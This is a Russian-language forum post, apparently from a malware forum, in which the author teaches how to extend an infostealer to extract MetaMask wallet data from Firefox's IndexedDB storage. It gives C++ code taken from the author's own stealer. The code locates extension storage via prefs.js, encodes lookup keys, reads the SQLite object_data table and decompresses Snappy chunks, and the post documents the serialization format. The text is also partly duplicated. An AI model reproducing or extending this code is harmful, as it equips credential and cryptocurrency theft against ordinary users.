Итак, это моя вторая статья, и в этот раз она будет поинтереснее, я вам обещаю, и постраюсь всё разжевать по теме без воды.)
Честно говоря я долго думал о чем же написать статью, потому что все темы для интересных статей растягивались бы как минимум на статей 10, одним словом были огромными, поэтому сегодня мы остановимся на чем-нибудь попроще, а именно разберем внутреннее устройство гековского IndexedDB на примере экстейшена MetaMask и научимся вытаскивать оттуда интересующую нас инфу. Я даже предоставлю POC на плюсах (под линукс правда, но портануть его под винду тривиальная задача). Почему именно Gecko IndexedDB? Чтож, потому что я не видел ещё ни одного публичного стиллера, который бы это умел - все стиллеры, что я встречал, тырят только хромовские экстейшены. ¯\_(ツ)_/¯
Тут стоит оговориться, что саму имплементацию я вытащил из своего личного стиллера, который был очень завязан на моём сдк, и многие классы пришлось заменить на публичные, например мой LocalPtr пришлось заменить на std::shared_ptr, который крутит атомик каунтеры, а некоторые вообще выпилить, учитывайте это при написании поправок на то, что код будет (возможно) не таким быстрым, как хотелось бы (хотя 1 секунда в дебаг билде это всё равно довольно быстро).
Весь код был написан на C++ 20. Я не буду останавливаться на самом языке и подразумеваю, что читатель уже знаком с ним хотя бы на среднем уровне и понимает конструкции языка без проблем (в конце концов за языковые статьи да и в целом разжевывание языка и его тонкостей здесь не платят). Весь финальный код закомменчен на английском, там же будут ссылки на некоторые сурсы. В моём POC'е я не буду использовать thirdparty либы (кроме tl::expected, который начиная с C++ 23 можно будет заменить на std::expected), поэтому всё парсить мы будем вручную.
Ну что ж, поехали.
Прежде чем что-то пытаться извлечь из экстейшена, нужно сначала найти откуда извлекать - Gecko браузеры вроде firefox'а хранят экстейшены и их дату иначе, нежели браузеры на основе хромиума. Сами экстейшены мы трогать не будем, нас интересует только их дата, и чтобы извлечь дату, нам нужно сначала получить путь до неё. Для этого мы будем парсить файлик prefs.js, который находится в папке с профилем юзера. Этот файлик, как несложно догадаться, содержит юзерпрефы, включая установленные экстейшены и их локальные uuid'ы. В частности нам нужно найти преф extensions.webextensions.uuids и распарсить JSON объект формата key-value (да, это тривиальный объект). Далее нам нужно будет найти наш экстейшен в этой мапе по имени и запомнить его uuid, он нам будет нужен, чтобы построить путь до даты экстейшена... - точнее сначала до бд, которая хранит инфу о том, какая именно дата нам нужна, но об этом позже.
Сам путь выглядит следующим образом:
Как вы могли заметить, число в userContextId у меня здесь равно 4294967295, на самом деле это число можно вытащить из containers.json, но оно всегда одинаковое для всех экстейшенов, поэтому это лишнее действие можно просто не производить.
В самой папке же находится sqlite бд, которая хранит инфу о том, в каком файлике хранится нужная нам дата. Сами файлы хранятся в папке files/ там же.
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Но прежде чем мы приступим к разбору содержимого бд, давайте для начала выполним шаги выше, итак, сам код:
Спойлер: код
C++: Скопировать в буфер обмена
Сам алгоритм "кодирования" различается для разных типов данных, я предоставлю имплементации для других типов данных помимо строк, но на самом деле нам интересны только строки, итак, алгоритм для строк выглядит так:
Спойлер: код
C++: Скопировать в буфер обмена
Теперь, когда мы знаем что искать, мы идем в саму бд и селектим из таблицы object_data "закодированный" key. В моём случае я буду использовать простой парсер бд, предназначенный в первую очередь для стиллера, и просто сравнивать ключи. Как только мы найдем нужный ключ, мы селектим file_ids, который должен начинаться с точки, если же заселекченное значение оказалось пустым, то тогда селектим data и парсим его - это значит что дата настолько маленькая, что firefox записал её в бд вместо того, чтобы создавать файлик. Если же оно не пусто, то тогда убираем точку и идём в папочку files/, значение после точки и есть название IndexedDB файла.
Спойлер: код
C++: Скопировать в буфер обмена
Итак, допустим что мы уже прочитали файл с датой с диска к нам в память, и прежде чем мы сможем распарсить саму дату, нам нужно её сначала раскомпрессить, то бишь разжать. IndexedDB использует snappy для компресии, это довольно простой гугловский алгоритм, мини-версия декомпрессора будет предоставлена вместе с POC'ом. Скомпрешенная дата разбивается на чанки и в таком виде записывается в файл, чанки эти не имеют отношения к самому snappy и нам их придется разобрать:
HEADER - 4 байта в Little Endian. Первый байт это тип чанка, оставшиеся 3 байта - его размер
DATA - N байт, дата чанка, определяется хедером
Типы чанков:
0xFF - чанк является идентификатором стрима, в частности обозначает, какой алгоритм сжатия используется, на данный момент это всегда снаппи (sNaPpY)
0x00 - чанк содержит сжатую дату в следующем формате:
0xFE - паддинг, просто скипаем
0x80-0xFD - чанк зарезервирован, так же просто скипаем его
0x** - все остальные чанки, не включенные в список выше, инвалидные, и если мы на такой натыкаемся, то это значит, что дата повреждена (или наш парсер устарел, на момент написания статьи он актуален)
Что касается маскированного CRC32C, то маска снимается так:
C++: Скопировать в буфер обмена
Собственно теперь, когда мы знаем, как выглядят чанки, мы можем начать их разжимать. Мы так же будем склеивать все чанки воедино во время разжатия и как только вся дата будет разжата, мы сможем приступить к парсингу уже самого IndexedDB:
Спойлер: код
C++: Скопировать в буфер обмена
HEADER_DATA - 4 байта
HEADER_TAG - 4 байта
DATA - ...
Сразу после хедера может идти transfer map:
(OPTIONAL) TRANSFER_MAP_DATA - 4 байта
(OPTIONAL) TRANSFER_MAP_TAG - 4 байта
Если мы встречаем transfer map, то это означает, что дата временная (или вообще уже стёрта) и смысла её стиллить нет.
Собственно нормальный хедер всегда имеет таг SCTAG_HEADER (0xFFF10000), а в дате лежит тип скоупа, их всего несколько:
Если скоуп не DifferentProcess и не DifferentProcessForIndexedDB, то мы просто выходим (мы либо не сможем её распарсить, либо она нам просто неинтересна), если же всё окей, то идём дальше и чекаем, является ли следующий объект трансфер мапой, если да, то всё так же выходим, если нет, то опять же идём дальше и парсим root объект, но прежде чем мы это сделаем, давайте разберем формат каждого объекта, который мы будем парсить:
Тривиальные (Int32 / Boolean / Null / Undefined):
DATA - 4 байта, это и есть само значение. Для null и undefined там нет значения
TAG - 4 байта, тип объекта
NumberObject:
PAD + TAG - 8 байт
VALUE - 8 байт в виде Little Endian, тип double
DateObject:
PAD + TAG - 8 байт
VALUE - 8 байт, так же как и number, но хранит количество миллисекунд с начала юникс эпохи
BigInt:
DATA - 4 байта, старший бит хранит знак, остальные биты хранят длину инта, в Little Endian
TAG - 4 байта
VALUE - N байт, это и есть сам биг инт, мы его парсить не будем, так как для этого нужен отдельный класс, который я тащить в этот POC не стал, ибо он сильно завязан на моём сдк (и мне было лень его отвязывать). Вы можете найти публичный класс для этого или написать свой
PAD - 0-7 байт, нужен для алигнмента
String:
DATA - 4 байта, старший бит хранит кодировку (об этом ниже), остальные биты хранят длину строки, в Little Endian
TAG - 4 байта
VALUE - N байт, строка либо в кодировке Latin1 (если старший бит 1), либо в UTF-16 (если старший бит 0), без нулл-терминатора
PAD - 0-7 байт, нужен для алигнмента
RegexpObject:
DATA - 4 байта в Little Endian, хранит флаги регекса, о них позже
TAG - 4 байта
SECOND_DATA - 4 байта в Little Endian
SECOND_TAG - 4 байта
VALUE - N байт если SECOND_TAG был строкой, то парсится так же, как и строка
PAD - 0-7 байт, нужен для алигнмента
Что касается флагов:
BackReferenceObject:
DATA - 4 байта в Little Endian, хранит порядковый номер объекта в качестве ссылки
TAG - 4 байта
Референс объекты (BooleanObject / StringObject / BigIntObject):
Любой объект имеет свой номер в референс массиве, в то время как не-объекты его не имеют. Это объекты по факту тоже самое, что и их не Object варианты, то бишь парсятся так же. И как вы уже поняли, эти объекты нужны лишь для бекреференса, чтобы на них можно было сослаться
Контейнеры (ArrayObject / ObjectObject / MapObject / SetObject):
DATA - 4 байта, там ничего интересного (раньше там ничего не было вообще, сейчас там размер объекта)
TAG - 4 байта
... - другие объекты
END_DATA - 4 байта
TAG - 4 байта, EndOfKeys (0xFFFF0013)
Каждый контейнер парсится по разному, для SetObject это просто массив из других объектов, для ArrayObject, ObjectObject и MapObject это массив следующего формата:
KEY_OBJECT - string / string object / int32
DATA_OBJECT - любой объект
...
KEY_OBJECT_N
DATA_OBJECT_N
END_KEYS_OBJECT - EndOfKeys
Остальное (SavedFrameObject / ArrayBufferObject / SharedArrayBufferObject / SharedWasmMemoryObject / etc.):
Остальные объекты нам не интересны и парсить их мы не будем. Честно говоря я ещё ниразу не встречался с ними и поэтому имплементировать их парсинг не стал. Очень сомневаюсь, что и вы с ними встретитесь, так как экстейшены как правило не сторят подобную дату в свой IndexedDB, поэтому пока что оставим их в покое. PS. Пока писал статью, заглянул в более свежие сорцы, некоторые индексы теперь deprecated!
Для начала мы распарсим рут объект, мы подразумеваем, что это должен быть какой-то контейнер, после этого мы создадим стек и запушим наш контейнер туда. Мы будем пушить все контейнеры в этот стак и парсить дальнейшие объекты в зависимости от топового контейнера. Если вы встретим EndOfKeys, то просто попим стек и продолжаем парсить предыдущий контейнер, если же стек пуст, то значит мы всё распарсили и время выходить. Чтож, давайте всё это имплементируем:
Спойлер: код
C++: Скопировать в буфер обмена
Ну и для того, чтобы мы могли находить объекты по их индексу / имени, нам нужно имплементировать кастомный хешер и компарер, а для того, чтобы различать типы хешированных данных, мы будем их тагать:
Спойлер: код
C++: Скопировать в буфер обмена
Спойлер: код
C++: Скопировать в буфер обмена
Результат:
Спойлер
На этом всё, я старался сделать статью как можно короче и без лишней воды, но она всё равно получилась немаленькой. Знаю, что статья возможно будет сложно восприниматься хотя бы без средненького технического бекграунда, но я старался всё максимально разжевать по теме, надеюсь вам понравилось.
У вас должно быть более 5 реакций для просмотра скрытого контента.
Edit: странно, архив не прикрепился, залил на форумный файлообменник.
DamageLib
Честно говоря я долго думал о чем же написать статью, потому что все темы для интересных статей растягивались бы как минимум на статей 10, одним словом были огромными, поэтому сегодня мы остановимся на чем-нибудь попроще, а именно разберем внутреннее устройство гековского IndexedDB на примере экстейшена MetaMask и научимся вытаскивать оттуда интересующую нас инфу. Я даже предоставлю POC на плюсах (под линукс правда, но портануть его под винду тривиальная задача). Почему именно Gecko IndexedDB? Чтож, потому что я не видел ещё ни одного публичного стиллера, который бы это умел - все стиллеры, что я встречал, тырят только хромовские экстейшены. ¯\_(ツ)_/¯
Тут стоит оговориться, что саму имплементацию я вытащил из своего личного стиллера, который был очень завязан на моём сдк, и многие классы пришлось заменить на публичные, например мой LocalPtr пришлось заменить на std::shared_ptr, который крутит атомик каунтеры, а некоторые вообще выпилить, учитывайте это при написании поправок на то, что код будет (возможно) не таким быстрым, как хотелось бы (хотя 1 секунда в дебаг билде это всё равно довольно быстро).
Весь код был написан на C++ 20. Я не буду останавливаться на самом языке и подразумеваю, что читатель уже знаком с ним хотя бы на среднем уровне и понимает конструкции языка без проблем (в конце концов за языковые статьи да и в целом разжевывание языка и его тонкостей здесь не платят). Весь финальный код закомменчен на английском, там же будут ссылки на некоторые сурсы. В моём POC'е я не буду использовать thirdparty либы (кроме tl::expected, который начиная с C++ 23 можно будет заменить на std::expected), поэтому всё парсить мы будем вручную.
Ну что ж, поехали.
Ищем дату экстейшенов
Итак, сразу оговорюсь, в качестве гековского браузера у нас будет firefox, и я подразумеваю, что вы уже нашли профиль юзера в фаерфоксе, если нет, то это тривиальная задача, посмотрите исходник любого стиллера.Прежде чем что-то пытаться извлечь из экстейшена, нужно сначала найти откуда извлекать - Gecko браузеры вроде firefox'а хранят экстейшены и их дату иначе, нежели браузеры на основе хромиума. Сами экстейшены мы трогать не будем, нас интересует только их дата, и чтобы извлечь дату, нам нужно сначала получить путь до неё. Для этого мы будем парсить файлик prefs.js, который находится в папке с профилем юзера. Этот файлик, как несложно догадаться, содержит юзерпрефы, включая установленные экстейшены и их локальные uuid'ы. В частности нам нужно найти преф extensions.webextensions.uuids и распарсить JSON объект формата key-value (да, это тривиальный объект). Далее нам нужно будет найти наш экстейшен в этой мапе по имени и запомнить его uuid, он нам будет нужен, чтобы построить путь до даты экстейшена... - точнее сначала до бд, которая хранит инфу о том, какая именно дата нам нужна, но об этом позже.
Сам путь выглядит следующим образом:
путь_до_профиля + "/storage/default/moz-extension+++" + UUID + "^userContextId=4294967295/idb/"
Как вы могли заметить, число в userContextId у меня здесь равно 4294967295, на самом деле это число можно вытащить из containers.json, но оно всегда одинаковое для всех экстейшенов, поэтому это лишнее действие можно просто не производить.
В самой папке же находится sqlite бд, которая хранит инфу о том, в каком файлике хранится нужная нам дата. Сами файлы хранятся в папке files/ там же.
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Но прежде чем мы приступим к разбору содержимого бд, давайте для начала выполним шаги выше, итак, сам код:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
inline tl::expected<TExtensionsMap, std::error_code> FirefoxHandler::ExtractExtensions(std::unordered_set<std::string_view> sExts) noexcept
{
// Если такого файлика нет или мы не можем получить к нему доступ, то значит мы не сможем и получить список экстейшенов
std::ifstream isPrefs(m_ProfilePath.generic_string() + "/prefs.js");
if (!isPrefs.is_open())
return tl::unexpected(std::make_error_code(std::errc::no_such_file_or_directory));
// мы будем читать до тех пор, пока не найдем строку, начинающуюся с user_pref("extensions.webextensions.uuids"
// в идеале нам нужно парсить сами аргументы user_pref
for (std::string sLine; std::getline(isPrefs, sLine);)
{
if (!sLine.starts_with("user_pref(\"extensions.webextensions.uuids\""))
continue;
// Теперь нам нужно найти и извлечь сам JSON, парсить мы его будем вручную
// Здесь мы просто находим начало и конец JSON'а
// Задача для нас упрощается, потому что это очень простой JSON, это тупо key-value
// Тем не менее в реальном проекте я рекомендую использовать полноценный парсер, чтобы избежать проблем с дабл-экранированными кавычками например
// P.S. Кто не очень знаком с плюсами, std::string_view нужен, чтобы избежать лишнего копирования
std::string_view svContent(sLine);
auto szStart = svContent.find("\"{\\\"", 42);
if (szStart == svContent.npos) break;
auto szEnd = svContent.find("\\\"}\");", szStart + 3);
if (szEnd == svContent.npos) break;
svContent = svContent.substr(szStart + 2, szEnd - szStart);
std::string_view svKey;
bool bParseKey = true;
std::unordered_map<std::string_view, std::string_view> mExtsUuids;
while (true)
{
szStart = svContent.find("\\\"");
szEnd = svContent.find("\\\"", szStart + 2);
if (szStart == svContent.npos || szEnd == svContent.npos)
break;
auto str = svContent.substr(szStart + 2, szEnd - szStart - 2);
svContent = svContent.substr(szEnd + 2);
if (bParseKey) svKey = str;
else mExtsUuids.emplace(svKey, str);
bParseKey = !bParseKey;
}
// убираем из списка все экстейшены, которые мы не собираемся стиллить / парсить
std::erase_if(mExtsUuids, [&sExts](const auto & ext) { return !sExts.contains(ext.first); });
TExtensionsMap mResultMap;
if (mExtsUuids.empty())
return mResultMap;
for (const auto & [svExtName, svExtUuid] : mExtsUuids)
{
auto sExtDBFullPath = m_ProfilePath.generic_string() + "/storage/default/moz-extension+++" + std::string(svExtUuid) + "^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite";
std::ifstream isExtDB(sExtDBFullPath, std::ios::binary);
if (!isExtDB.is_open())
continue;
isExtDB.seekg(0, std::ios_base::end);
auto szTotalRead = isExtDB.tellg();
isExtDB.seekg(0, std::ios_base::beg);
if (szTotalRead == std::streampos(-1))
continue;
std::string sDBData;
sDBData.resize(szTotalRead);
isExtDB.read(sDBData.data(), szTotalRead);
std::string sFilesPath = sExtDBFullPath.substr(0, sExtDBFullPath.size() - 6) + "files/";
mResultMap.emplace(std::string(svExtName), GeckoIndexedDB<std::string>(SQLiteTableReader<std::string>(std::move(sDBData)), sFilesPath));
}
return std::move(mResultMap);
}
return tl::unexpected(std::make_error_code(std::errc::no_link));
}
Разбираем, что же там в БД
Итак, допустим мы нашли нужный нам экстейшен используя код выше, в случае с метамаском это webextension@metamask.io, и теперь хотим вытащить нужную нам инфу. Вся информация в гековском IndexedDB хранится по "ключам", у каждого "ключа" соответствующий ему файлик (как правило, об этом ниже), и для каждого такого ключа есть соответствующая запись в только что открытой нами базе данных, в которой этот ключ хранится в "закодированном" виде, и прежде чем мы сможем его оттуда прочитать, нам его по-хорошему бы раскодировать, но делать этого мы не будем, так как если мы пишем стиллер, то мы подразумеваем, что мы уже знаем, какие ключи у какого расширения используются, и поэтому мы можем сделать проще - закодировать наш ключ и просто искать по нему. Этот вариант лучше по той причине, что если мы парсим дату на сервере, то можем просто сделать SELECT, а не селектить всё и вручную перебирать все варианты, но в моём POC'е мы всё сделаем на стороне клиента, так как моя задача показать пример.Сам алгоритм "кодирования" различается для разных типов данных, я предоставлю имплементации для других типов данных помимо строк, но на самом деле нам интересны только строки, итак, алгоритм для строк выглядит так:
1. Конвертируем нашу UTF-8 строку в UTF-32 (по факту в расширенный юникод)
2. Пушим в качестве первого байта 0x30, что означает, что закодированная дата - строка
3. Далее итерируемся по UTF-32 строке (у которой каждый символ 4 байта) и в зависимости от каждого символа:
3.1 Если это UTF-16, то просто копируем символ
3.2 Если это UTF-32, то часть сдвигаем на 10 бит вправо и прибавляем 0xD800, к оставшейся части (в начале) прибавляем 0xDC00, на выходе будем иметь 2 шорта
4. Кодируем 1 или 2 шорта в "код поинт" (кол-во шортов будет зависеть от варианта)
5. Код поинт кодируется следующим образом:
5.1. Если это ASCII символ [0, 0x7F] (за исключением последнего), то к нему добавляется единица (бинарная кодировка вида 0xxxxxxx)
5.2. Если это символ в диапазоне [0x7F, 0x3FFF + 0x7F], то к нему добавляется 0x8000-0x7F и кодируется в Big Endian (кодировка вида: 10xxxxxx xxxxxxxx)
5.3. Если это символ в диапазоне [0x3FFF + 0x80, 0xFFFF], то значение смещается на 6 бит влево с добавлением префикса и кодируется в Big Endian (кодировка вида: 11xxxxxx xxxxxxxx xx000000)
Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
template <typename TString>
inline std::string GeckoIndexedDB<TSQLData>::EncodeStringKey(TString && tKey) noexcept
{
using TCharType = typename std::remove_cvref_t<TString>::value_type;
std::u32string sToEncode;
if constexpr (sizeof(TCharType) == 1)
{
try
{
std::wstring_convert<std::codecvt_utf8<char32_t>, char32_t> cCvt;
sToEncode = cCvt.from_bytes(tKey.data());
}
catch (...) { return {}; }
}
else
{
sToEncode = std::u32string(tKey.begin(), tKey.end());
}
std::string sResult;
sResult.reserve((sToEncode.size() * 4) + 2);
sResult.push_back(static_cast<char>(GeckoIDBKeyType::String));
for (char32_t c : sToEncode)
{
bool bTwoInts;
std::uint16_t u1, u2;
std::uint32_t u = static_cast<std::uint32_t>(c);
if (u <= (std::numeric_limits<std::uint16_t>::max)())
{
u1 = static_cast<std::uint16_t>(u);
bTwoInts = false;
}
else
{
u1 = static_cast<std::uint16_t>((u >> 10) | 0xD800);
u2 = static_cast<std::uint16_t>((u & 0x3FF) | 0xDC00);
bTwoInts = true;
}
EncodeCodePoint(sResult, u1);
if (bTwoInts) EncodeCodePoint(sResult, u2);
}
return sResult;
}
template <typename TSQLData>
inline void GeckoIndexedDB<TSQLData>::EncodeCodePoint(std::string & sResult, std::uint16_t uPoint) noexcept
{
if (uPoint < 0x7F) sResult.push_back(static_cast<char>(uPoint + 1));
else if (uPoint < 0x407F)
{
uPoint += 0x7F81;
sResult.push_back(static_cast<char>((uPoint >> 8) & 0xFF));
sResult.push_back(static_cast<char>(uPoint & 0xFF));
}
else
{
std::uint32_t uPointWide = static_cast<std::uint32_t>(uPoint) << 6; uPointWide |= UINT32_C(0x00C00000);
sResult.push_back(static_cast<char>((uPointWide >> 16) & 0xFF));
sResult.push_back(static_cast<char>((uPointWide >> 8) & 0xFF));
sResult.push_back(static_cast<char>(uPointWide & 0xFF));
}
}
Теперь, когда мы знаем что искать, мы идем в саму бд и селектим из таблицы object_data "закодированный" key. В моём случае я буду использовать простой парсер бд, предназначенный в первую очередь для стиллера, и просто сравнивать ключи. Как только мы найдем нужный ключ, мы селектим file_ids, который должен начинаться с точки, если же заселекченное значение оказалось пустым, то тогда селектим data и парсим его - это значит что дата настолько маленькая, что firefox записал её в бд вместо того, чтобы создавать файлик. Если же оно не пусто, то тогда убираем точку и идём в папочку files/, значение после точки и есть название IndexedDB файла.
Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadKey(std::string_view svKey) noexcept
{
if (!m_DBReader.ReadTable("object_data"))
return nullptr;
const std::size_t szTotalObjects = m_DBReader.RowsCount();
if (!szTotalObjects)
return nullptr;
std::string sKeyEncoded = EncodeKey(svKey);
for (std::size_t i = 0; i < szTotalObjects; i++)
{
std::string_view svEncodedKey = m_DBReader.template ReadEntry<std::string_view>(i, "key").value_or(std::string_view{});
if (svEncodedKey.empty()) continue;
if (svEncodedKey.size() != sKeyEncoded.size()) continue;
if (std::memcmp(sKeyEncoded.data(), svEncodedKey.data(), svEncodedKey.size())) continue;
std::string_view svFileId = m_DBReader.template ReadEntry<std::string_view>(i, "file_ids").value_or(std::string_view{});
if (svFileId.empty())
{
std::string_view svBlob = m_DBReader.template ReadEntry<std::string_view>(i, "data").value_or(std::string_view{});
if (svBlob.size()) return ReadKeyObjectsData(svBlob.data(), svBlob.size(), true);
}
else
{
if (svFileId.size() > 1 && svFileId.front() == '.')
{
svFileId = svFileId.substr(1);
const std::string sFilePath = m_pIDBFilesPath.generic_string() + std::string(svFileId);
std::ifstream isFile(sFilePath, std::ios::binary);
if (isFile.is_open())
{
isFile.seekg(0, std::ios::end);
auto szSize = isFile.tellg();
isFile.seekg(0, std::ios::beg);
if (szSize != std::streampos(-1))
{
std::string sOut;
sOut.resize(szSize);
isFile.read(sOut.data(), std::streamsize(szSize));
return ReadKeyObjectsData(sOut.data(), sOut.size(), false);
}
}
}
}
break;
}
return nullptr;
}
Разбираемся с сжатием гековского IndexedDB
А вот и начинается самая интересная часть, устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты, причем в его собственном гековском формате... Он на самом деле довольно простой, но чтобы его понять, когда-то мне пришлось немало времени провести ковыряя исходники firefox'а.Итак, допустим что мы уже прочитали файл с датой с диска к нам в память, и прежде чем мы сможем распарсить саму дату, нам нужно её сначала раскомпрессить, то бишь разжать. IndexedDB использует snappy для компресии, это довольно простой гугловский алгоритм, мини-версия декомпрессора будет предоставлена вместе с POC'ом. Скомпрешенная дата разбивается на чанки и в таком виде записывается в файл, чанки эти не имеют отношения к самому snappy и нам их придется разобрать:
HEADER - 4 байта в Little Endian. Первый байт это тип чанка, оставшиеся 3 байта - его размер
DATA - N байт, дата чанка, определяется хедером
Типы чанков:
0xFF - чанк является идентификатором стрима, в частности обозначает, какой алгоритм сжатия используется, на данный момент это всегда снаппи (sNaPpY)
0x00 - чанк содержит сжатую дату в следующем формате:
CHECKSUM - 4 байта "замаскированной" чексуммы CRC32C, так же в Little Endian, об этом ниже
DATA - N байт, сжатая дата
0x01 - чанк содержит несжатую дату, формат такой же, как у чанка выше0xFE - паддинг, просто скипаем
0x80-0xFD - чанк зарезервирован, так же просто скипаем его
0x** - все остальные чанки, не включенные в список выше, инвалидные, и если мы на такой натыкаемся, то это значит, что дата повреждена (или наш парсер устарел, на момент написания статьи он актуален)
Что касается маскированного CRC32C, то маска снимается так:
C++: Скопировать в буфер обмена
Code:
std::uint32_t uSum = uMaskedCheckSum - 0xA282EAD8;
return ((uSum >> 17) | (uSum << 15)) ^ 0xFFFFFFFF;
Собственно теперь, когда мы знаем, как выглядят чанки, мы можем начать их разжимать. Мы так же будем склеивать все чанки воедино во время разжатия и как только вся дата будет разжата, мы сможем приступить к парсингу уже самого IndexedDB:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
const std::uint8_t * pChunkedData = reinterpret_cast<const std::uint8_t *>(pData);
std::size_t szDataLeft = szDataSize;
while (szDataLeft)
{
if (szDataLeft < 4)
return nullptr;
const std::uint32_t uHeader = BytesToUint32LE(pChunkedData);
const std::uint8_t uChunkType = uHeader & 0xFF;
const std::uint32_t uChunkLength = uHeader >> 8;
if (uChunkLength > szDataLeft - 4)
return nullptr;
szDataLeft -= 4;
pChunkedData += 4;
switch (uChunkType)
{
case 0xFF:
{
if (uChunkLength != 6)
return nullptr;
if (std::memcmp(pChunkedData, "sNaPpY", 6))
return nullptr;
szDataLeft -= uChunkLength;
pChunkedData += 6;
break;
}
case 0x00:
{
if (uChunkLength <= 4)
return nullptr;
SnappyDecompressor cDecomp(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
const std::size_t szUncompressedSize = cDecomp.GetUncompressedSize();
if (!szUncompressedSize)
{
if (szDataLeft > 5)
return nullptr;
szDataLeft -= 5;
break;
}
const std::size_t szUncompressedDataStart = sUncompressed.size();
sUncompressed.resize(sUncompressed.size() + szUncompressedSize);
const std::size_t szTotalUncompressed = cDecomp.UncompressToBuffer(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize);
if (!szTotalUncompressed || szTotalUncompressed != szUncompressedSize)
return nullptr;
const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
const std::uint32_t uExpectedCheckSum = CRC32C{}(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize) ^ UINT32_C(0xFFFFFFFF);
if (uExpectedCheckSum != uChecksum)
return nullptr;
pChunkedData += uChunkLength;
szDataLeft -= uChunkLength;
break;
}
case 0x01:
{
if (uChunkLength <= 4 || uChunkLength > 65536)
return nullptr;
const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
const std::uint32_t uExpectedCheckSum = CRC32C{}(pChunkedData + 4, uChunkLength - 4) ^ UINT32_C(0xFFFFFFFF);
if (uExpectedCheckSum != uChecksum)
return nullptr;
sUncompressed.append(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
pChunkedData += uChunkLength;
szDataLeft -= uChunkLength;
break;
}
default:
{
if (uChunkType >= 0x80 && uChunkType <= 0xFE)
{
szDataLeft -= uChunkLength;
pChunkedData += uChunkLength;
}
else return nullptr;
break;
}
}
}
Разбираемся с форматом гековского IndexedDB
Итак, теперь у нас на руках разжатая сырая дата IndexedDB, и прежде чем её парсить, нам нужно разобраться с форматом, сначала конечно же идёт хедер, но он подчиняется тому же формату, что и все остальные "объекты" в файле:HEADER_DATA - 4 байта
HEADER_TAG - 4 байта
DATA - ...
Сразу после хедера может идти transfer map:
(OPTIONAL) TRANSFER_MAP_DATA - 4 байта
(OPTIONAL) TRANSFER_MAP_TAG - 4 байта
Если мы встречаем transfer map, то это означает, что дата временная (или вообще уже стёрта) и смысла её стиллить нет.
Собственно нормальный хедер всегда имеет таг SCTAG_HEADER (0xFFF10000), а в дате лежит тип скоупа, их всего несколько:
- SameProcess - Дата находится в процессе браузера (в памяти) и не может быть считана, мы вообще не должны никогда на него попасть, но на всякий случай хандлим этот кейс тоже
- DifferentProcess - Дата трансферится между разными процессами и пишется на диск, то что нам нужно
- DifferentProcessForIndexedDB - Тоже самое
- Unassigned и UnknownDestination - Они нас не интересуют, мы считаем их инвалидными
Если скоуп не DifferentProcess и не DifferentProcessForIndexedDB, то мы просто выходим (мы либо не сможем её распарсить, либо она нам просто неинтересна), если же всё окей, то идём дальше и чекаем, является ли следующий объект трансфер мапой, если да, то всё так же выходим, если нет, то опять же идём дальше и парсим root объект, но прежде чем мы это сделаем, давайте разберем формат каждого объекта, который мы будем парсить:
Тривиальные (Int32 / Boolean / Null / Undefined):
DATA - 4 байта, это и есть само значение. Для null и undefined там нет значения
TAG - 4 байта, тип объекта
NumberObject:
PAD + TAG - 8 байт
VALUE - 8 байт в виде Little Endian, тип double
DateObject:
PAD + TAG - 8 байт
VALUE - 8 байт, так же как и number, но хранит количество миллисекунд с начала юникс эпохи
BigInt:
DATA - 4 байта, старший бит хранит знак, остальные биты хранят длину инта, в Little Endian
TAG - 4 байта
VALUE - N байт, это и есть сам биг инт, мы его парсить не будем, так как для этого нужен отдельный класс, который я тащить в этот POC не стал, ибо он сильно завязан на моём сдк (и мне было лень его отвязывать). Вы можете найти публичный класс для этого или написать свой
PAD - 0-7 байт, нужен для алигнмента
String:
DATA - 4 байта, старший бит хранит кодировку (об этом ниже), остальные биты хранят длину строки, в Little Endian
TAG - 4 байта
VALUE - N байт, строка либо в кодировке Latin1 (если старший бит 1), либо в UTF-16 (если старший бит 0), без нулл-терминатора
PAD - 0-7 байт, нужен для алигнмента
RegexpObject:
DATA - 4 байта в Little Endian, хранит флаги регекса, о них позже
TAG - 4 байта
SECOND_DATA - 4 байта в Little Endian
SECOND_TAG - 4 байта
VALUE - N байт если SECOND_TAG был строкой, то парсится так же, как и строка
PAD - 0-7 байт, нужен для алигнмента
Что касается флагов:
1 << 0 = ignore case
1 << 1 = global regex
1 << 2 = multiline regex
1 << 3 = sticky
1 << 4 = unicode
1 << 5 = dot all
1 << 6 = has indices
1 << 7 = unicode sets
BackReferenceObject:
DATA - 4 байта в Little Endian, хранит порядковый номер объекта в качестве ссылки
TAG - 4 байта
Референс объекты (BooleanObject / StringObject / BigIntObject):
Любой объект имеет свой номер в референс массиве, в то время как не-объекты его не имеют. Это объекты по факту тоже самое, что и их не Object варианты, то бишь парсятся так же. И как вы уже поняли, эти объекты нужны лишь для бекреференса, чтобы на них можно было сослаться
Контейнеры (ArrayObject / ObjectObject / MapObject / SetObject):
DATA - 4 байта, там ничего интересного (раньше там ничего не было вообще, сейчас там размер объекта)
TAG - 4 байта
... - другие объекты
END_DATA - 4 байта
TAG - 4 байта, EndOfKeys (0xFFFF0013)
Каждый контейнер парсится по разному, для SetObject это просто массив из других объектов, для ArrayObject, ObjectObject и MapObject это массив следующего формата:
KEY_OBJECT - string / string object / int32
DATA_OBJECT - любой объект
...
KEY_OBJECT_N
DATA_OBJECT_N
END_KEYS_OBJECT - EndOfKeys
